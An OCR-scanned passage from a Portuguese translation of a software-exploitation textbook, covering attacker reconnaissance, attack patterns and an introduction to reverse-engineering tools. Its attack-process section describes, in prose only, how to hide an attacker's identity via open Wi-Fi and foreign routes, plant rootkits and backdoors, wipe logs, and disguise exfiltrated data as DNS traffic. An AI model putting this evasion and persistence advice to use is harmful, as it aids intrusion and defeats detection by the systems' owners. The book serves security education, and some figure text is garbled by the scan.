maquina tfpica na Internet sofre hoje de 10 a 20 varreduras de porta por dia sem perceber nada. As ferramentas que realizam as varreduras basicas de portas sao ferramentas classicas de script kiddies. Ate mesmo os (caros) aplicativos profissionais como o FoundScan, da Poundstone, e o Cybercop, da NAI, sao muito pr6ximos em suas concep~oes de conj untos de tecnologias livremente disponfveis. As vezes, as varreduras de porta podem ser muito sofisticadas e enganosas, espalhando-se por milhares de redes em uma configura~ao de drip-scan de dificil detec~ao. Urn site-alvo poderia obter apenas urn ou dois pacotes estranhos por hora, mas ao fim da semana seus sistemas teriam sido inteiramente varridos! Os firewalls causam inconveniencias de menor relevancia nesse processo, mas as varreduras de porta podem ser inteligentes, usando os endere~os de origem de broadcast ou multicast e combina~oes inteligentes de portas e flags para burlar os fi ltros (ineficazes) tfpicos de firewall. ldentlflca~ao
da pllha do SO Uma vez que uma maquina-alvo e descoberta, truques adicionais podem ser aplicados utilizando os protocolos-padrao para discernir a versao do sistema operacional no dispositivo-alvo.lsso inclui tecnicas para ajustar opc;oes do TCP, realizar fragmenta~ao e remontagem do IP, configurar os flags do TCP e manipular o comportamento do ICMP. Hi uma quantidade incrfvel de consultas que podem ser utilizadas para determinar o sistema operacional-alvo. A maioria tern somente parte da resposta, mas juntas podem ser analisadas e chegar a uma teoria razoavel referente ao sistema operacional-alvo. E quase impossfvel ocultar a identidade de urn sistema quando ha tantas investiga~oes [probes] e respostas possfveis. Qualquer tentativa de mascarar as respostas normais enviando informac;oes falsas resultaria na cria<;ao de uma varia<;ao estranha, mas com investiga~ao suficientemente determinada, o sistema e quase sempre identificavel. Alem disso, as configurac;oes aplicadas a interface ou pilha de rede sao com frequencia detectaveis remotamente. Urn exemplo e o uso de sniffers de rede. Em muitos casos, o comportamento de uma maquina que esta executando urn sniffer e unico e pode ser detectado remotamente (para informa~oes adicionais, visite http:// _packetstormsecurity._nl/sniffers//antisniff). As maquinas que sao executadas em modo promfscuo estao mais abertas a ataques em nivel de rede porque o sistema acaba processando todos os pacotes na rede, ate mesmo os destinados a outros hosts. Varreduras da porta Principalmente como uma funs;ao de camada de rede, as varreduras de porta podem ser executadas no alvo, para determinar quais servis;os estao sendo executados. lsso inclui tanto as portas TCP como as UDP. Se uma porta aberta for descoberta, as transac;oes podem ser executadas na porta para determinar o servic;o que esta sendo executado nela e os protocolos que aparentemente sao entendidos por ela. Muitos
60
Como quebrar c6digos
hackers forjam suas armas de programa<;ao criando scanners de porta. Portanto, ha milhares de scanners de porta disponfveis, mas sao, na maioria, projetos realmente ruins. 0 scanner de porta mais comum e tao conhecido que nao exige muita analise aqui. Chama-se nmap (para informa<;oes adicionais, visite http://www.insecure.org/ nmap/). Se voce nunca fez uma varredura de porta, entao nmap e uma boa escolha para come<;ar, desde que suporte tantas varia<;oes de varredura. De um passo alem do normal, utilizando urn sniffer de rede para analisar as varreduras produzidas por nmap.
Traceroute e as transferendas de zona Os pacotes de traceroute sao uma maneira inteligente de determinar o layout fisico dos dispositivos de rede. Os servidores DNS fornecem muitas informa<;oes sobre endere<;os IP e o objetivo da maquinas a eles conectadas. Os dados de identifica<;ao do sistema operacional e as varreduras de porta podem ser sobrepostos para fo.rnecer a urn invasor uma quantidade surpreendente de detalhes. Quando utilizados em conjunto, urn mapa muito exato de uma rede-alvo pode ser criado. Em suma, essa atividade resulta em urn mapa detalhado da rede e ilustra claramente os pontos de entrada onde os dados de ataque serao aceitos no software da camada de aplicativo. Nessa etapa, o software aplicativo pode ser investigado diretamente. Esteja ciente de que os arquivos de zona podem ser muito grandes. Ha varios anos, urn dos autores (Hoglund) recebeu um arquivo de zona de toda a Fran<;a. (Era grande.) Componentes-alvo Se o sistema-alvo incluir urn arquivo publico ou servi<;os Web, esses devem ser examinados quanto a possfveis vulnerabilidades de fac il explora<;ao. Os componentes-alvo, tais como os programas cgi, scripts, servlets e EJBs sao notoriamente faceis de derrubar. Cada componente pode aceitar transa<;oes e assim apresentar um ponto interessante de entrada para maiores investiga<;oes. Voce pode consultar o alvo para aprender sobre eles e ate mesmo realizar transa<;oes funcionais ou carregar sniffers de rede que registram transa<;oes do mundo real executadas no alvo. Esses podem ser utilizados como a linha de base das transa<;oes que mais tarde podem ser ajustadas de acordo com os padroes de ataque mais espedficos descritos neste livro. Escolhendo padroes de ataque Uma vez que urn padrao valido de transa<;ao seja descoberto, pode sofrer muta<;ao utilizando diversos padroes de ataque. Voce pode tentar a inje<;ao de comando, a inje<;ao de API de sistema de arquivos, a inser<;ao de Structured Query Language (SQL) no banco de dados, a nega<;ao de servi<;o da camada de aplicativo ou nega<;ao de servi<;o baseada na rede. Alem disso, voce podera explorar o espa<;o de entrada e procurar buffer overflows. Se uma vulnerabilidade for descoberta, entao pode ser explorada para ganhar acesso ao sistema.
Capitulo 2
Padroes de ataque
61
Explorando as falhas do amblente Uma vez que uma vulnerabilidade e descoberta, varios payloads de ataque podem ser aplicados para acessar remotamente o sistema. Payloads comuns de ataque sao abordados por todo este livro. A vantagem da nossa abordagem sistematica no nivel de sistemas e que a visibilidade de problemas especfficos pode ser determinada. Determinado problema somente pode ser exploravel de dentro do firewall. Como temos uma ampla visualiza<;ao de rede do alvo, podemos ser capazes de localizar outros servidores vizinhos que podem ser explorados e, assim, tirar proveito de nosso conhecimento do sistema para voltar nele mais tarde. Isso nos permite adotar diversas etapas sutis para penetrar em urn sistema-a lvo. Considere, por exemplo, urn alvo em uma linha de DSL. 0 provedor de DSL pode ter urn DSLAM que atenda a muitos clientes. 0 DSLAM pode encaminhar todo o trafego broadcast para todos os assinantes downstream. Se o alvo estiver bern protegido ou tiver poucos pontos de entrada, talvez fa~a mais sentido atacar outro sistema proximo. Uma vez comprometido, o sistema proximo pode ser utilizado para fazer urn sequestra de ARP [ARP hijack] do alvo diflcil. Utlllzando lndlre~ao Um objetivo claro ao penetrar num sistema e ocultar a identidade do invasor. Isso e muito facil de realizar usando uplinks em redes sem fio 802.11 desprotegidas.14 Uma cafeteria Starbucks com urn link sem fio pode apresentar urn Ingar incrivelmente confortavel a partir do qual se pode lan~ar OS ataques. A ultima coisa que voce precisa fazer e pegar seu "cappuccino duplo" em uma unidade de drive-thru a caminho de alguma viela fria! As tecnicas de indire<;ao permitem que voce saia de sua zona segura, ate mesmo se for corporativa. A geopolftica tambem ajuda as manobras de indire~ao. Voce esta relativamente seguro se estiver tomando cafe em uma Starbucks de Houston enquanto desfere um ataque a partir de Nova Delhi via fronteira com a China. Nao ha provedores de servi<;o de Internet (ISP) que compartilhem arquivos de log entre essas fronteiras. E a extradi~ao esta fora de cogita~ao. Plantando backdoors Uma vez que uma explora~ao e bem-sucedida, ha chances de que voce tera acesso complete a urn host dentro da rede-alvo. 0 proximo passo e estabelecer urn tunel seguro pelo firewall e limpar qualquer possfvel arquivo de log. Se voce causar uma falha notavel no sistema-alvo, por defini<;ao, a falha tera efeitos consideraveis. Seu objetivo e remover qualquer vestigio desses efeitos observaveis. Reinicialize tudo o que possa ter travado. Exclua todos os logs que demonstrem violas:oes de programa ou rastreamentos de pacote. Em geral, voce desejara deixar urn rootkit ou backdoor com shell que permitirao o acesso a qualquer tempo. 0 Capitulo 8 e inteiramente sobre tais truques. Urn programa de rootkit pode ser ocultado no host. As modifica~oes do kernel possibilitam ocultar completamente urn rootkit dos administradores de sistema ou software de audi14. Veja 802.11 Security [Potter and Fleck, 2003].
62
Como quebrar c6digos
toria. Seu c6digo de backdoor pode ate mesmo estar oculto dentro do BIOS ou dentro da memoria EEPROM de placas e equipamentos perifericos. Urn born backdoor pode ser acionado por urn pacote especial ou ser ativado somente em certos perfodos. Voce pode realizar tarefas enquanto estiver Ionge, tais como keystroke logging (registro ou captura de teclas pressionadas) ou captura de pacote da rede. 0 preferido dos militares parecer ser ler o correio eletronico. 0 FBI parece gostar de monitores de teclas pressionadas. 0 que seu monitor remoto faz depende de seus objetivos. Os dados podem ser alimentados fora da redeem tempo real ou armazenados em urn Iugar seguro para posterior recupera~ao. Os dados podem ser criptografados para prote~ao em caso de descoberta. Os arquivos de armazenamento podem ser ocultados utilizando modifica~6es especiais de kernel. Os dados podem ser al imentados fora da rede utilizando pacotes que parecem protocolos-padrao (usando truques esteganograficos). Se urna rede tiver rnuita atividade de DNS, entao ocultar os dados de saida em pacotes semelhantes a DNS e uma boa ideia. Enviar overflows a partir de urn trafego completamente normal junto com seus pacotes disfar~ados tarnbern pode tornar os pacotes especiais rnais diflceis de serem localizados. Se voce realmente quer se sofisticar, pode utilizar rruques classicos de esteganografia, ate mesmo no nivel de pacote.
Calxas de padrao de ataque Varios capftulos no restante do livro induem quadros cinza que descrevem sucintamente os padr6es espedficos de ataque. Esses quadros servem para generalizar e encapsular urn padrao importante de ataque a partir do texto que o cerca. Esses quadros tern a seguinte aparencia (o exemplo exibido aqui aparece no Capitulo 4):
Padrao de ataque: Programas que gravam em recursos prlvlleglados do SO Procure programas que gravam nos diret6rios de sistema ou chaves de registro (como HKLM). Em geral, esses sao executados com privi h~gios elevados e normalmente nao foram projetados tendo em mente a seguran~a . Tais programas sao excelentes alvos de explora~oes porque concedem grande quantidade de poder quando quebram.
Conclusao Neste capftulo, fizemos uma breve introdu~ao a padr6es de ataques e discutimos urn processo-padrao pelo qual urn ataque e executado. Nosso tratamento aqui e em nivel muito alto. Se precisar de informa~oes adicionais sobre os princfpios basicos, verifique algumas referencias que citamos. Os capftulos posteriores examinam rnais profundamente os detalhes tecnicos. A maior parte do restante deste livro e dedicada a entender explora~6es espedficas que se encaixem em nossa taxonomia de padrao de ataque.
Engenharia reversa e entendimento do programa
A
maioria das pessoas interage com os programas de computador em urn nlvel superficial, inserindo uma entrada e esperando com ansiedade (ou impaciencia?!) uma resposta. A fachada "publica" da maioria dos programas pode ser bern pequena, mas a maioria dos programas vai muito mais a fundo do que parece. Sao as "entranhas" que predominam nos programas, e e af que a verdadeira diversao acontece. Essas entranhas podem ser muito complexas. A explora~ao de software geralmente requer urn certo nlvel de entendimento em rela~ao as suas entranhas. A habilidade mais importante de urn invasor em potencial e a capacidade de decifrar as complexidades de software-alvo. Jsso eo que se chama de engenharia reversa ou tambem somente reversao. Os invasores de software sao grandes usuaries de ferramentas, mas a expl ora~ao de software nao e magica e nao ha ferramentas magicas de explora~ao de software. Para quebrar urn programa-alvo nao muito "banal", o invasor deve manipular o software-alvo de modo incomum. Portanto, embora urn ataque quase sempre envolva ferramentas (disassemblers, mecanismos de script, geradores de entrada), essas ferramentas tendem a ser razoavelmente basicas. A verdadeira "esperteza" e 0 merito do invasor. Ao atacar urn software, a ideia basica e enrender a fundo as suposi~oes feitas pelos criadores do sistema e, em seguida, subverte-las. (Exatamente por esse motivo, e fundamental identificar a maier quantidade possfvel de pressuposi~oes ao projetar e criar urn software.) A engenharia reversa e uma abordagem excelente para investigar pressuposi~oes, principalmente as impllcitas, que podem ser utilizadas em urn ataque. 1
No terreno da loglca Em certo sentido, os programas giram em torno de dados importantes, criando e fazendo cumprir regras sobre quem pode obter os dados e quando pode obte-los. As 1. Urn amigo da Microsoft contou urn caso sobre urn invasor bem-sucedido que utilizou a palavra "assume" (pressupor) para encontrar pontos interessantes para atacar o c6digo. Os desenvolvedores, sem desconfiar, acharam que nao haveria problema em escrever sobre as suas pressuposi<;oes. Isso e um padrao de ataque em nfvel social. Pesquisas semelhantes no c6digo, procurando BUG, XXX, FIX e TODO, tambem tendem a funcionar.
64
Como quebrar c6digos
pr6prias fronteiras do programa ficam expostas ao mundo externo, da mesma forma que o interior de uma casa que tern portas em suas "fronteiras" externas. Os usuaries que tern "bons modos'' utilizam essas portas para obter os dados necessaries que estiio armazenados Ia dentro. Esses sao os pontos de entrada do software. 0 problema e que as mesmas portas utilizadas pelas empresas que tern "bons modos" a fim de acessar o software tambem sao utilizadas por invasores remotos. Considere, por exemplo, urn tipo muito comum de porta de software relacionada a Internet - a porta TCP/IP. Embora haja muitos tipos de portas em urn programa comum, muitos invasores procuram primeiro as portas de TCP/IP. Encontrar as portas de TCP/IP por meio de uma ferramenta de varredura de portas e simples. As portas fornecem acesso publico aos programas de software, a localizas;ao da porta e s6 o comes;o. Urn programa comum e complexo, assim como uma casa composta de varios comodos. 0 melhor tesouro geralmente esta enterrado bern fundo na casa. Em quase todas as exploras;oes, exceto as mais banais, o invasor precisa passar por caminhos complicados por meio de portas publicas, adentrando bastante na "casa" do software. Uma casa desconhecida e como urn labirinto para o invasor. Sabendo se orientar nesse labirinto, pode-se ganhar o acesso aos dados e, as vezes, obter o controle total sobre o proprio programa. 0 software e um conjunto de instrus;oes que determina o que urn computador de US() geral deve fazer. Portanto, de certa forma, 0 programa e uma instancia de uma determinada maquina (composta pelo computador e suas instru~oes). Maquinas como essas obviamente tern regras expHcitas e urn comportamento bem-definido. Embora possamos observar esse comporramento acontecendo a medida que executamos urn programa em uma maquina, o ato de analisar o c6digo e vir a entender o funcionamento interno de urn programa as vezes e mais diffcil. Em alguns casos o c6digo-fonte de um programa esta disponlvel para analise; em outros, nao est:L As tecnicas de ataque, portanto, nem sempre devem contar com o c6digo-fonte. De fato, algumas tecnicas de ataque sao importantes independentemente da disponibilidade do c6digofonte. Outras tecnicas podem, de fato, reconstruir o c6digo-fonte a partir das instrus;oes de maquina. Essas tecnicas sao o foco deste capitulo. Engenharla reversa
A engenharia reversa eo processo de criar a "matriz" de uma maquina para discernir suas regras analisando somente a mdquina e seu comportamento. Em alto nfvel, esse processo envolve tomar algo que no infcio voce nao entende totalmente do ponto de vista tecnico e passa a entender totalmente sua funs;ao, aspectos internos e construs;ao. Um bom engenheiro de reversao tenta entender os detalhes de software, o que necessariamente envolve entender como funciona a maquinaria de computas;ao como urn todo em que o software e executado. 0 engenheiro de reversao deve ter urn conhecimento profundo de hardware e software, e de como funcionam em conjunto. Pense no modo como o software processa uma entrada externa. A entrada externa do "usuario" pode conter comandos e dados. Cada caminho de c6digo que ha no
Capitulo 3
Engenharia reversa e entendimento do programa
65
alvo envolve varias decisoes de controle que sao tomadas com base em entrada. As vezes urn caminho de c6digo e amplo e permite que qualquer volume de mensagens passe com sucesso. Em outros casos, o caminho de c6digo e estreito, estreitando as coisas ou ate mesmo parando sea entrada nao for formatada da forma correta. Esses detalhes podem ser mapeados se voce river as ferramentas corretas. A Figura 3.1 mostra os caminhos de c6digo que se encontram em urn programa comum de servidor FTP. Nesse diagrama, esta sendo mapeada uma sub-rotina complexa. Cada localiza<;ao e mostrada em uma caixa juntamente com as instru<;oes de maquina correspondentes. Em termos gerais, quanto mais fundo voce vai ao "perambular" pelo programa, mais Iongo se torna o caminho de c6digo entre a entrada em que voce "come<;ou" eo ponto em que voce term ina. Chegar a urn determinado local nessa casa de 16gica exige seguir OS cam inhos para varios comodos (de preferencia, OS comodos onde estao as coisas de valor). Cada porta interna pela qual voce passa impoe regras sobre os tipos de mensagens que podem passar. Portanto, o andar de comodo em comodo envolve a negocia<;ao de varios conjuntos de regras relacionadas as entradas que sao aceitas. Isso torna urn verdadeiro desafio a cria<;ao de urn fluxo de entradas que consegue passar por varias portas (externas e internas). Em geral, a entrada de ataque torna-se cada vez mais refinada e especffica a medida que vai mais fundo no programa, alvo. E exatamente por isso que o ataque ao software requer muito mais que uma simples abordagem de for<;a bruta. 0 simples bomba.rdeio a urn prog.rama com entradas aleat6rias quase nunca percorre todos os caminhos do c6digo. Portanto, muitos dos possfveis caminhos pela casa permanecem desconhecidos (e na.o explorados) tanto pelos invasores quanto pelos defensores.
Por que engenharla reversa? A engenharia reversa permite aprender sobre a estrutura do programa e sua l6gica. Portanto, a engenharia reversa leva a insights crfticos sobre o funcionamento do programa. Esse tipo de insight e extremamente uti! ao explorar o software. A engenharia reversa oferece vantagens evidentes. Por exemplo, pode-se aprender o tipo de fun<;oes de sistema que o programa-alvo esta utilizando. Voce pode saber quais arquivos o programa-alvo acessa. Voce pode saber quais protocolos o software-alvo utiliza e como ele se comunica com outras partes da rede-alvo. A maior vantagem da reversao e que se pode alterar uma estrutura do programa e, assim, afetar diretamente o fluxo 16gico. Tecnicamente essa atividade echamada de patching ("corre<;ao" ), porque isso envolve a coloca<;ao de novos patches de c6digo, de modo transparente, no c6digo original - e como colocar urn remendo em um cobertor. Os patches permitem adicionar comandos ou alterar o funcionamento de certas chamadas de fun<;ao. Isso permite adicionar recursos secretos, remover ou desativar fun<;oes e corrigir bugs de segw-an<;a sem ter o c6digo-fonte. Um dos usos comuns dos patches no submundo da informatica envolve a remo<;ao dos mecanismos de prote<;ao contra c6pias.
66
Como quebrar c6digos
I
~-
..I..
::
e1
••
To-•
ahir\ l a • .UIII'OII
\u\
Figura 3 .1: Esse gratico mostra o fluxo de controle por meio de uma sub-rotina em um servidor FTP comum. Cada bloco e um conjunto de instruc;:oes que sao executadas como um grupo, uma instruc;:ao depois da outra. As linhas entre caixas mostram o modo como o controle do c6digo conecta as caixas. Ha varios "ramos" entre as caixas, que representam pontos de decisao no fluxo de controle. Em muitos casos, uma decisao relacionada as ramificac;:oes pode ser influenciada pelos dados fornecidos por um .mvasor.
(!,j~=~.
ilK
h ••
v
c1, 111
,.. ,...
L_ -·-·~·
-·-· ...
•1, (•
;,..,
\a.t
ju
1\J
[ ..... ..;r,
•1
cl, cl
•hi"
1•.4.1117
Como qualquer habilidade, a engenharia reversa pode ser utilizada para o bern ou para o mal.
Capitulo 3
Engenharia reversa e entendimento do programa
67
A engenharia reversa deveria ser ilegal? Como a engenharia reversa pode ser utilizada para reconstruir o c6digo-fonte, ela fica na corda bamba em relacriio a lei de ptopriedade intelectual. Varios contratos de licenciamento de software proibem expressamente a engenharia reversa . As empresas de software temem (e com raziio) que seus algoritmos e metodos que sao segredo comercia! sejam revelados mais diretamente pela engenharia reversa do que pela observac;iio externa da maquina. Entretanto, niio ha nenhuma lei geral contra a engenharia reversa. Como a engenharia reversa e urn passo crucial para remover esquemas de protecriio contra c6pias, ha uma certa confusiio em relac;iio sua legalidade. A aplicacriio de patches ao software para burlar a protecriio contra c6pias ou os esquemas de gerenciamento de direitos digitais e ilegal. A aplicac;ao de engenharia reversa ao software niio e. Sea lei mudar e a engenharia reversa se tornar ilegal, isso sera urn duro golpe para o usuario comum de software (principalmente para o usuario comum e curioso). Uma lei proibindo totalmente a engenharia reversa seria como uma lei que torna ilegal abrir o capo de urn carro para conserta-lo. Sob urn sistema desse tipo, os usuaries de autom6veis seriam obrigados por lei a procurar a concessionaria para obter todo ti po de conserto e man utencriio. 2 Os fornecedores de software profbem a engenharia reversa em seus contratos de licenciamento por varias razoes. Uma das razoes e que a engenharia reversa, de fato, revela metodos secretes de forma mais evidente. Mas tudo isso e, na verdade, meio ridicule . Para urn engenheiro de reversao qualificado, analisar o c6digo binario de maquina de urn programa e equivalente a ter o c6digo-fonte. Sendo assim, o segredo ja esra revelado mas, nesse caso, somente os especialistas conseguem "ler" o c6digo. Observe que e possivel defender OS metodos secretes por outros meios que nao envolvem tentar esconde-los de todo mundo, exceto os especialistas em c6digo compilado. As patentes existem especificamente para esse prop6sito, assim como a legislac;ao de direitos autorais. Urn dos bons exemplos de prorec;iio adequada aos programas pode ser encontrado na area de algoritmos de criptografia de dados. Para que os algoritmos de criptografia sejam considerados verdadeiramente eficientes e uteis, eles devem ser submetidos avaliac;iio dos profissionais de criptografia. Entretanto, o inventor do algoritmo pode manter os direitos sobre o trabalho. Foi isso o que aconteceu com o conhecido esquema de criptografia RSA. Observe tambem que, embora este livro tenha direitos autorais protegidos, voce tern permissao para le-lo e entende-lo. De faro, voce e incentivado a fazer isso. Outra raziio pela qual os fornecedores de software gostariam que a engenharia reversa se tornasse ilegal e impedir que os pesquisadores encontrem defeitos de seguranc;a no c6digo. Com muita freqiiencia, os pesquisadores de seguranc;a encontram defeitos nos softwares e os divulgam em foruns publicos como o bugtraq. Isso niio e
a
a
2. Em bora isso niio lhe pa re~a tao mau, note que uma lei dessas pode muiro bem rornar ilegal o trabalho de qualquer medinico " nao-autorizado" no seu carro.
68
Como quebrar c6digos
born para os fornecedores de software, prejudica a imagem e fere a reputa~ao de bons profissionais. (Ao mesmo tempo, tambem tende a fazer o software melhorar.) H:l uma pratica bem-estabelecida segundo a qual o especialista em seguran~a informa urn defeito ao fornecedor e lhes concede urn perlodo razoavel para corrigir o bug antes da divulga~ao do mesmo. Note que, durante esse periodo, o defeito continua existindo, para que especialistas em seguran~a mais sigilosos (inclusive as pessoas malintencionadas) o explorem. Sea engenharia reversa se tornar ilegal, os pesquisadores serao impedidos de utilizar uma ferramenta critica para avaliar a qualidade do c6digo. Sem a capacidade de examinar a estrutura de software, OS usuarios sera.o for~ados a confiar na palavra do fornecedor, que diz que o software e realmente urn produto de qualidade. 3 Tenha em mente que, na atualidade, nenhum fornecedor esta obrigado a assumir financeiramente os gastos relativos a falhas no software. Sendo assim, podemos confiar na palavra do fornecedor em rela~ao a qualidade na medida que ela afeta os seus lucros (e nao mais do que isso). A Digital Millenium Copyright Act (DCMA) considera, de forma explfcita (e controversa), a engenharia reversa como viol a~ao de direitos autorais e quebra de software. Para conhecer urn ponto de vista interessante sobre como essa lei influencia a liberdade individual, acesse o site de Ed Felten em http://www.freedomtotinker.com. Ao comprar ou instalar urn software, geralmente voce depara com urn Contrato de Licen~a para o Usuario Final (End-User License Agreement-EULA) em uma tela. E urn contrato legal que voce deve ler e aceitar. Em muitos casos, o simples ato de abrir fisicamente uma embalagem de pacote de software, como a caixa ou a capa do disco, implica que voce concordou com a licen~a do software. Ao fazer o download de urn software on-line, em geral voce e solicitado a pressionar "I AGREE (CONCORDO)" em resposta a urn documento de EULA exibido no site (nao abordaremos as questoes de seguranc;a ligadas a isso). Esses acordos normalmente contem expressoes que profbern expressamente a engenharia reversa. Entretanto, esses acordos podem ter validade no tribuna l ou nao [Kaner, 1998]. A Uniform Computer Information Transactions Act (UCITA) impoe fortes restri~oes a engenharia reversa e pode ser utilizada para ajudar o "click-through" dos EULAs a ter validade nos tribunais. Alguns estados norte-americanos adotaram a UCITA (Maryland e Virginia, no perfodo em que o livro foi escrito), o que prejudica bastante a capacidade de aplicar a engenharia reversa legalmente.
Ferramentas de engenharla reversa e conceltos A engenharia reversa incentiva setores tecnicos inteiros e abre caminho para a concorrencia. Os engenheiros reversos trabalham em problemas diflceis, como a integrac;ao de software a protocolos proprietaries e ao c6digo. Com freqiiencia, tambem se dedi3. Note que varios consumidores ja sabem que estao comprando software de ma qualidade, mas alguns deles continuam confusos em rela~ao ao nfvel de qualidade que o software pode real mente proporcionar.
Capitulo 3
Engenharia reversa e entendimento do programa
69
cam a desvendar os misterios dos novos produtos lan<;ados por concorrentes. A explosao do mercado de clones de PC na decada de 80 foi bastante impulsionada pela capacidade de aplicar engenharia reversa ao software de IBM PC BIOS. Os mesmos truques foram aplicados no setor de consoles de jogos do tipo set-top (que inclui o PlayStation da Sony, por exemplo). Os fabricantes de chip Cyrix e AMD tern aplicado engenharia reversa ao microprocessador da Intel para lan~ar chips compatfveis. Do ponto de vista juridico, o trabalho de engenharia reversa e perigoso porque fica no limite da lei. Novas leis como a DMCA e a UCITA (que muitos analistas de seguran~a condenam porque as consideram inadequadas) impoem restri~oes pesadas a engenharia reversa. Se voce for incumbido de fazer a engenharia reversa legalmente em urn software, e necessario entender essas leis. Nao abordaremos os aspectos jurfdicos da engenharia reversa porque nao somos especialistas na area. Basta dizer que e muito importante buscar assistencia jurfdica nesses assuntos, principal mente quando voce representa uma empresa que zela por sua propriedade intelectual.
0 depurador 0 depurador e urn programa que se conecta a outros programas de software e os controla. Urn depurador permite executar passo a passo urn c6digo ("single stepping"), rastrear a depurac;ao, configurar de pontos de interrupc;ao (breakpoints) e visualizar variaveis e 0 estado da memoria no programa-alvo conforme ele e executado passo a passo. Os depuradores sao imporrantfssimos para determinar o fluxo 16gico do programa. Os depuradores dividem-se em duas categorias: depuradores do modo de usm1rio e depuradores do modo de kernel. Os depuradores do modo de usuario funcionam como programas normais sob o SO e estao s ujeitos as mesmas regras que os programas normais. Sendo assim, os depuradores do modo de usuario so conseguem depurar outros processos de nivel de usuario. Urn depurador do modo de kernel e parte do SO e consegue depurar drivers de dispositivos e ate o proprio SO. Urn dos depuradores comerciais de modo de kernel rna is conhecidos eo Softlce, da Compuware (http://www.compuware.com/products/driverstudio/ds/softice.htm). Ferramentas de inje~ao de falhas Ferramentas que podem fornecer entradas malformadas ou formatadas inadequadamente a urn processo do software-alvo para causar falhas sao urn tipo de ferramenra de inje~ao de falha. As fa lhas do programa podem ser analisadas para determinar se ha erros no software-alvo. Algumas falh as tern implica~6es de seguranc;a, como falhas que permitem ao invasor ter acesso direto ao host ou a rede. As ferramentas de inje~ao de falhas dividem-se em duas categorias: de host e de rede. Os injetores de falhas baseados em host atuam como depuradores e podem conectar-se a urn processo e alterar estados do programa. Os injetores de falha baseados em rede manipulam o trafego de rede para determinar o efeito no receptor.
70
Como quebrar c6digos
Embora as abordagens clcissicas a inje<;_;ao de falhas costumem utilizar instrumentacrao de c6digo-fonte [Voas e McGraw, 1999], alguns dos injetores de falha modernos dao mais atencrao a distorcrao da entrada do programa. Sao de interesse particular para os profissionais de segurancra: o Hailstorm (Cenzic), a Failure Simulation Tool (Ferramenta de Simula~ao de Falha ou FST) (Cigital) eo Holodeck (Florida Tech). A abordagem de James Whittaker da injecrao de falhas para testar (e quebrar) software eexplicada em dois livros [Whittaker, 2002; Whittaker e Thompson, 2003].
0 disassembler Urn disassembler ("desmontador") euma ferramenta que converte c6digo legfvel por maquina em Linguagem assembly. A linguagem assembly euma forma legfvel para burnanos do c6digo de maquina (pelo menos, e mais legfvel para humanos do que uma string de bits). Os d isassemblers mostram quais instrucr6es de maquina estao sendo utilizadas no c6digo. 0 c6digo de maquina geralmente e especffico para uma determinada arquitetura de hardware (como o chip PowerPC ou chip Intel Pentium). Portanto, os disassemblers sao criados especificamente para a arquitetura do hardware-alvo. 0 compllador reverso ou descompllador Urn descompilador e uma ferramenta que converte c6digo de assembly ou c6digo de maquina em c6digo-fonte, em uma linguagem de nfvel mais alto, como C. Os descompiladores tambem sao utilizados para transformar linguagens intermediarias, como bytecode Java e a Common R untime Language (CRL), em urn c6digo-fonte como o Java. Essas ferramentas sao extremamente uteis para determinar a 16gica de nfvel mais alto, como loops, switches e instrucr6es if-then. Os descompiladores sao muito parecidos com os disassemblers mas levam o processo urn (importante) passo a frente. Pode-se utilizar urn born par de disassembler/compilador para compilar sua propria safda coletiva de volta ao mesmo binario.
As abordagens da engenharla reversa Como ja dissemos, as vezes o c6digo-fonte esta disponivel para o engenheiro de reversao e as vezes nao esta . Os metodos de teste e analise de caixa-branca ("white box") e caixa-preta ("black box") tentam entender o software, mas utilizam abordagens diferentes, para o caso de o analista ter ou nao ter acesso ao c6digo-fonte. Independentemente do metodo, ha varias areas fundamentais que o invasor deve examinar para localizar vulnerabilidades no software: • Funcroes que verificam os limites incorretamente (ou nao verificam) • Funs;oes que passam por dados fornecidos pelo usmirio ou os utilizam em uma string de formato (format string) • Funcr6es desrinadas a forcrar a verificacrao de limites em uma string de formato (como 9"o20s)
Capitulo 3
• • • •
Engenharia reversa e entendimento do programa
71
Rotinas que obtem entradas de usm1rio utilizando urn loop Opera~oes de baixo nfvel de c6pia de bytes Rotinas que utilizam aritmetica de ponteiro em buffers fornecidos pelo usuario Chamadas de sistema "confiaveis" que aceitam entradas dinamicas
Essa lista, urn pouco tatica, e util quando voce esta "perdido" com o c6digo binario. Analise da caixa-branca A analise da caixa-branca envolve a analise e a compreensao do codigo-fonte. As vezes, somente o c6digo binario esta disponfvel, mas se voce descompila urn binario para obter c6digo-fonte e em seguida estuda o c6digo, isso tambem pode ser considerado urn tipo de analise de caixa-branca. 0 teste de caixa-branca, em geral, e muito eficiente para localizar erros de programa<;ao e erros de implementa<;ao no software. Em alguns casos essa atividade chega a compara~ao de padroes e pode ser ate automatizada com urn analisador estatico. 4 Uma das desvantagens desse tipo de teste de caixa-branca e que ele pode relatar uma possfvel vulnerabilidade equivocadamente (isso e chamado de (also positivo). Contudo, a utiliza~ao de metodos estaticos de analise no c6digo-fonte e uma boa abordagem para explorar alguns tipos de software. Ha dois tipos de ferramentas de analise de caixa-branca: as que requerem o c6digo-fonte e as que automaticamente descompilam o c6digo bim1rio e continuam a partir daf. Uma plataforma de analise de caixa-branca eficiente e disponfvel comercialmente, a IDA-PRO, nao requer acesso ao c6digo-fonte. 0 SourceScope, que contern urn grande banco de dados de problemas ligados ao codigo-fonre e problemas comuns de Java, C e C++, requer o c6digo-fonte. 0 conhecimento envolvido nessas ferramentas e extremamente util para a analise de seguran<;a (e, natural mente, para a expl ora~ao de software). Analise da calxa-preta A analise da caixa-preta designa a analise de um programa em execu~ao sondando-o com varias entradas. Esse tipo de teste requer apenas urn programa em execu~ao e nao faz nenhum tipo de analise de c6digo-fonte. No paradigma da seguran<;a, pode-se fornecer uma entrada maliciosa ao programa na tentativa de quebra-lo. Se o programa quebra durante urn determinado teste, o problema de segurans:a pode ter sido descoberto. Note que o teste de caixa-preta e possfvel mesmo sem ter acesso ao codigo binario. Ou seja, pode-se testar o programa remotamente na rede. Basta ter urn programa em execu<;ao em algum Iugar que esteja aceitando entradas. Se o testador puder fornecer entradas que o, programa utiliza (e observar o efeito do teste), o teste de caixapreta sera possfvel. E por isso que os invasores reais freqiientemente adotam as tecnicas de caixa-preta. 4. A ferramenta SourceScope da Cigital, por exemplo, pode ser utilizada para localizar possfveis defciros de seguran~a em software utilizando o c6digo-fonte (http://www.cigital.com).
72
Como quebrar c6digos
